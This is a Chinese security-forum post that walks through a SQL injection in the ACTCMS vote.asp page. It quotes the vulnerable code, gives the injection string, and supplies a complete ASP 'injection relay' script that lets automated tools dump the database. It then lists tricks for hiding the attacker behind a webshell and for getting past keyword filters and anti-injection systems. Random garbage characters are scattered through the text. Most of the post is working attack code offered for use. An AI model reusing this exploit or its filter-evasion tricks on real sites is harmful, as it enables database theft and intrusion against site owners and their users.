找回密码
 立即注册
查看: 2416|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
" o. u( {- z" [5 d8 H
看到ninty大牛的blog的一篇文章
& b8 [: I/ R: o5 u( h链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
  }6 Z+ q' T+ U3 n2 C6 {关于actcms漏洞的利用  by 3x qq:381862589& ~+ \" j: N$ n# Q9 z' @7 A
转载请注明以上5 @, a  `9 `' r3 H  {) W9 F
漏洞文件:2 \" w% P3 v. V+ O8 R
/plus/vote/vote.asp
/ U) i! G( m' G/ I  X2 j3 v/ m0 A代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    6 w4 s3 q- Y: t; j  n! a
- P/ x- _. }  j, P5 v; K
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
. D( ~; B# q1 ^
. |" w- y  [0 o; E- J3    response.end    : N$ n' m7 \: R, p2 h! t+ r3 K

  m" C8 T6 K5 Z3 o, T1 z: e% b7 Z4    end if   
" `4 C( c) `8 A+ H1 C' n. A9 ]0 i( A* c5 S) Y  R
5    for i=1 to request("voted").count    0 F5 }& T* m6 i8 K
9 m3 P- B* b. y$ h5 ^
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
$ q4 A4 M* C4 i7 G3 a; R. T2 |& s: d
7    next    3 B* \3 z5 y" A* ]
9 j! z0 ~. v- f2 o4 }
8....    $ X, Q4 j% A# Q+ t6 h0 D
! S: J& F3 |5 {0 q/ O' _
9response.Redirect "index.asp?id="&id&""   
; b* v  a  Q' W7 [$ }投票结束回跳转回index.asp这个投票结果页面
2 ]: }7 S6 n/ @如果投票成功票数加1
& I' D4 |3 h% z4 \5 p            失败票数不变/ s* C* G; M9 e- H7 k6 b8 t
如图:
% l  V& L: q% Q* o  D, Ohttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
% a4 L: e6 A; O9 s  X: T3 G* O
2 E9 x# ~0 k% y  F+ q' D* R5 y0 @2009-12-27 13:20
' o+ s% S8 e, d: T0 z
# C4 \* s3 T+ I4 a利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了8 z" X8 c+ z& |

0 {0 V+ d5 u- t) y2 u本帖隐藏的内容需要回复才可以浏览- W+ i, [- i6 j. c$ H
我们用注入中转来实现这个注入具体代码如下:2 h* R+ i! O0 F9 ]0 }+ L. n3 Q% H
先用寂寞的刺猬大牛的注入中转生成jmget.asp
# ?& X5 k; M. r注入地址:http://localhost/actcms/plus/vote/vote.asp# @7 u. s4 `. O5 W$ N3 d
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项8 J$ q$ C2 N9 d6 V! |7 Y$ q
# P, t; {1 w7 f3 h& U  [
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ! {$ [, p: G$ Y3 i6 b  K

, o0 l- s2 }7 J/ P$ a( m0 ?02JmdcwName=request("jmdcw") 2 S5 _5 k# C) X+ m9 i' ^
+ P* K* H3 q/ ]; t
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ' ^# S* w$ @; H

; I& Q$ o0 F/ c0 A04JmStr="id=1&voted=-1 or 1="&JmdcwName
" E8 i& ~! M, T- I% q  P
/ e7 ?3 `: g1 a) U( L( A$ Q5 }05JmStr=URLEncoding(JmStr) 8 E8 j- {* y6 S7 t
; {% T' ]' g5 J4 ?' m0 B' u
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
# |4 q" a5 {$ J% E, V5 A* I# s; a- a: M  u- q' e8 c) z; ^, z9 A' @) o
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"- C8 T! Q: ^- Y, ^
2 P' P4 L, N: q- `1 X/ c
08testurl=testurl & "?" & JmStr
- L( O; G2 w" v% L* }& z0 r: v2 n) E/ @0 @$ X) [
09JMUrl=JMUrl & "?" & JmStr ' D+ C2 C8 f+ ~+ z
: g$ ]+ K# U" E+ J' q
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
, W8 G) d+ q6 ]/ n1 ]: J" G- g& v! q8 O* u3 t7 u+ D" R- [" Q
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
% ?% M% P, m, s9 O$ \( t" ?' C8 L+ c7 h
12JmCok=replace(JmCok,chr(32),"%20")  * S% G$ T" ~* s# ]( ]8 H
' V! U; V9 k9 W7 q, Z" Q2 N
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 9 _& |4 ?; @6 a2 t# D

$ h6 E% T/ W; U6 M& C14  . w. \( S& }3 u" l
* T6 z5 Z8 N" Q
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
/ a! S, O- i+ f' J) Y3 @- o& v9 I& W3 O% i9 B! ~% T2 c
16  
0 U9 ?7 x5 N% i/ [" y8 `# b' t' ^. V% E+ U
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 & i3 m: c2 _% Q4 v3 n; N* \
6 D6 c4 V3 }; O6 D( @4 ~0 h3 O6 p
18response.write test1&""&test2&""
. Q% g& E; F! G( o% i  b9 R
; K$ a! c) }0 p) x4 D/ q19  . g& a. W9 ]) F, [( i; h( T) F

$ Y" D6 j# a! A( q20if test1=test2 then '如前后记录相等,表示失败 ; n" d, ?8 r: D% g

) C8 _; Q; w: n21  response.write "failed"
* ?4 d- L+ ?# T( _( W& m2 e& u% A: J: L0 ?
22else 4 i% t& i1 T) f4 ]: D  ]$ J

9 e$ B5 j- g- Q# f+ ]7 J23  response.write "succeed"
6 L% A( D. P! ~  t0 ~4 s! D( ^- @9 s* t$ w
24end if  + X% c: o  K( ]  P

5 ]2 T! P6 p- ?/ F( Q; }. y) O6 c/ Z: o25  5 d; U* r6 D& S
' d; w/ c' x0 A
26response.write "by 3x"+ c% l* k2 |$ ~; A4 t2 x) N
' d6 D  J; d5 v% [) A/ ?) ?
27  * ]- H- r/ x# U- ?, S6 t
) l5 n' `6 G8 z7 a! G1 L( `8 @
28  ( p1 A6 e! e1 E5 s( w9 a7 M
  C. J) Q# }+ ~" n: c
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
4 b% H9 B. z2 P/ a* V" d7 H
* a- A4 v; ^, U7 p0 g# [! D30Dim Http " n$ q6 i, l- r( \6 W

  B9 Q2 C. j2 P% z- l31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
6 N6 Y" V! k3 @, x9 J& k0 M6 L7 u/ t9 D8 @" w8 ?
32With Http 9 @# H& v2 b& Q* ?! j0 y0 n

4 @1 N3 M, ]: m7 B+ G1 [33  
3 j+ W0 @7 r+ ]- R
! m1 L. L' M  r0 p. _34.Open "GET",PostUrl,False' ]6 x! G) Y# V* V; B

9 B) R9 O: B1 i& y+ u35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
. r% {0 B  G2 F( Z( \
4 ?3 ~3 Y: Y1 I6 f+ f36.SetRequestHeader "Referer",PostRef 8 R7 ^/ E( p+ u  h0 j/ c9 l& ^3 q2 D: t4 b

, h4 p8 Y1 D% I7 A37.SetRequestHeader "Cookie",PostCok
5 _$ k; j; D- \/ b. B0 X% ]
2 s' M3 S+ ~1 {38.Send ()   `; ?" z8 o) ~

' I; u! v6 v/ W4 a: \% ~39PostData = .ResponseBody : S5 \0 a0 S+ |" H9 L

: \. z  O' Q; g3 Q& i. g40End With
+ D$ O- t2 Z  {+ Y
5 M5 c7 l: |$ W5 o4 v' v41Set Http = Nothing
- I# d' |/ C" t, f% [. }8 c5 l0 D" Z* R; x. M
42PostData =bytes2BSTR(PostData)   L7 S2 F  P( x

6 Q) X" j8 V& R2 y9 z43End Function& j  b( N; ^! D. x+ }3 N# {
9 F$ |  t" d+ E. _2 [
44  + g. j+ {: T2 X, m( X& w* x: E! J

, G$ x) K: W7 g# y- M$ y, Z45  
  G) z: X' `+ S5 ^- v1 K) }7 K. u) N
46Function bytes2BSTR(vIn) ! y6 Y( M7 g% ~9 d  T

: P- h! ?* L# S47Dim strReturn 0 A0 U7 H0 w6 q, O% i

. B5 ^  G* M) c48Dim I, ThisCharCode, NextCharCode
% ^$ }/ ]" B3 u* W: @  L* C' a& y" I: f$ \
49strReturn = "", J. r; Q3 l6 `( I0 I" Z& o

& y2 g0 s$ x# p" o50For I = 1 To LenB(vIn)
' v0 ?/ f7 J" e: }& {; c" |8 N
9 w! W8 t4 `$ {; H51ThisCharCode = AscB(MidB(vIn, I, 1))
0 z" q4 B; v* V1 G# z/ [( R
" T3 x2 y. d. v' T* J0 u8 T52If ThisCharCode < &H80 Then6 ^5 ~) P. H6 t) O
$ J$ S8 J7 F. \( o) y
53strReturn = strReturn & Chr(ThisCharCode) ' t  k4 y8 ~2 v! i7 J5 w* u

! n/ ~) S! w0 ?- g5 s/ W6 }54Else7 [/ u% `2 E7 {9 h; A
6 X/ [5 a2 n5 I
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 9 ~+ ^7 y" L: S9 ?1 Q1 m) E
) E- j* H2 z# J# Z) b  h
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 1 v" q0 x* J& y& Y; G! U

- f, {3 Q$ k% f3 O! B: b. S, f- l57I = I + 1 9 N9 Q! A$ t* l  n9 Y3 n% B
3 X1 k1 @0 L) E# _- Z% |6 @( e
58End If
7 i+ P. T* Z" E& R
2 o8 K2 h1 Y2 m$ T, ^2 B  _: s2 `& h59Next9 a* k4 z/ X9 W0 E1 E% _; e/ Q
# x. P! T# \+ G. w! |0 b+ G
60bytes2BSTR = strReturn
" ?6 ~6 x! c, s+ S6 W% A: b4 m/ V+ m- ^' k3 P, V$ |9 I5 b
61End Function+ V* n1 m" m# E! }9 Q" ]1 g

/ k8 j3 W) n3 B  Y% k2 c$ ^62  
3 u6 w4 U: Q# n, A; M  k# v9 T1 |+ K9 N; m% L
63Function URLEncoding(vstrin)  
) j; F3 s- M; a& z7 i7 D
; V& g2 l6 w. B  _7 n64strReturn=""& ^! J5 ?& {8 |$ T, a5 d& ~+ A

, Z& ], Z3 b; N" j& q3 q, t65Dim i
! K) @, s* Z) r# ^
& Q2 k. d% A) ^66For i=1 To Len(vstrin)
2 A1 W# r+ R$ N3 @; Z, {- C. C& h
67ThisChr=Mid(vstrin,i,1) $ H6 ~* l9 _% P0 W

- ~+ f. [$ ?, ]8 i' J6 C8 P68if Abs(Asc(ThisChr))< &HFF Then
+ }8 v$ `9 u/ `# m  r' q2 ?* d3 T+ q& d
% H" m+ F/ ?4 r+ t' S3 G69strReturn=strReturn & ThisChr
) S! ^/ A) J- n. [& C9 }9 O% O5 B6 {" H( L5 Z7 K7 r
70Else
: h/ V( V4 {) @" J/ h8 J6 q8 W; I7 |  |! L/ t6 Z- V. M
71InnerCode=Asc(ThisChr)
/ j0 I# K* Y: M- W5 E5 l) Y$ \$ z
4 U8 u2 b; W. R' f$ V72If InnerCode<0 Then9 F& L+ I1 F0 H* V# h0 z
% l* \. l0 m* \' K8 K0 E* E
73InnerCode=InnerCode + &H10000
  w" @9 r' j: U9 t; n
, n' V, i/ C. |1 a. ]" ]* q74End If0 K. e  z+ P3 Y6 a9 u( s5 |0 c

7 w' z7 C. ]( E- g8 E1 }7 [75Hight1=(InnerCode And &HFF00) \&HFF
# D* f4 j, _/ z- [  @" v+ K3 F6 q  E, L( ?1 P* @9 X2 }
76Low1=InnerCode And &HFF 8 p5 o* n8 b9 t. x$ p
6 v! q+ \& z3 z* G# }) L
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) # ^! K! ^0 O* C+ r& q

& |/ d% h5 Z7 K* c. P78End if
6 l6 F5 M3 t9 ~1 P
$ t1 w* h2 R) H- G$ R5 _: ^6 V: _# w79Next
1 _0 }. z9 r* \, l1 N  Y
* m6 h6 z: B2 q0 l# L) D9 L80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 # L6 H8 V& v* C# j# q( H# Y3 o3 |$ r
# \* Y' P* S( c# i5 l$ P; ~& t6 Z
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 $ d$ A- O" y' X
/ i* n) I0 A6 r5 e& B1 [
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 % l, L% {9 A" x: k( h
, u; l/ L9 l, c7 M  F! X6 V, c
83URLEncoding=strReturn ; X- u5 I+ Z* [
& P6 Y8 T; o5 r1 `: J
84End Function
- Y" g; N4 Z8 ?$ H8 ^& K* ]4 b3 y1 J" @! ^% i
85  
: ~" n+ r* k4 b, ~; t% a+ j" G# }
5 Z! Q. }% |9 u3 m7 t& U, E+ ]86function getSt(body)
/ R5 V: b( r$ V8 Z& r+ I6 _; n; g6 i5 y% Q2 i3 I; B4 c3 X
87  startpot=instr(body,"投票人数:")+len("投票人数:") - {" m6 o: X+ o6 S+ v" b. ?3 K. r( s; g
! m8 i: J+ r3 r" ]2 `6 S/ i
88  endpot=instr(startpot,body," ") 9 q) O" b* w$ I9 d/ v8 c  K1 {; d, K

. k( D- S" D- M6 Y/ O89  getSt=mid(body,startpot,endpot-startpot) 7 m$ F9 I. e0 L% F- t+ u* `
( H# m4 g( ]$ x5 d2 b
90end function
, |3 j2 p; a2 q
7 H. z1 `1 P+ w2 u91%>- r' d5 \( `% r9 m5 [+ l
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
7 w# J$ o% Q5 ?1 x6 _# l测试下效果:" W( n& b6 t; A! R$ I0 {
投票成功:& n' b& ?1 @3 W1 d' J$ N
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
' |" S! i4 \1 u- E- ~0 c% a/ _3 o$ P( q1 l' A, ]
2009-12-27 13:29/ y" f% ?$ X, y! [% Q- _( k) |0 ~
投票失败
5 R, ?. x) G: P! f9 yhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)1 c# y4 ^2 d% o  X) U5 Y0 B+ Q; B: a
3 g" |1 @8 T, r+ X
2009-12-27 13:291 i( c; l# t5 d+ A' S, P
-------------------------------------------------------------------------------
* T* h. K2 H% j% }- a再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以( S! l7 [4 K4 q! {! e# T
很抱歉。。。只能用单线程工具去注入。。。。。
( [- |* C; E( I- E所以失败。。。不好意思。。。
% V; O" A( Z+ {% U0 ~-------------------------------------------------------------------------------
/ l5 B% l3 ^9 J" L  f% I- l1 x& |- Y( c3 [( q+ w* M  B
注入中转的一些其他应用" y" |% v% m  P3 N( z
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了+ m. k# [* i: a( o0 S3 v: J
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id6 M% U3 P! g2 g2 n0 p
2.post注入转成get型的注入,方便我们使用工具来跑
' r0 o& G- {2 K) \7 }4 O% K3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")6 @+ i6 M" q2 h5 b0 y
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过* {- |6 ^) l5 G

" \5 z6 Z. \3 w# l' ^7 t/ ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表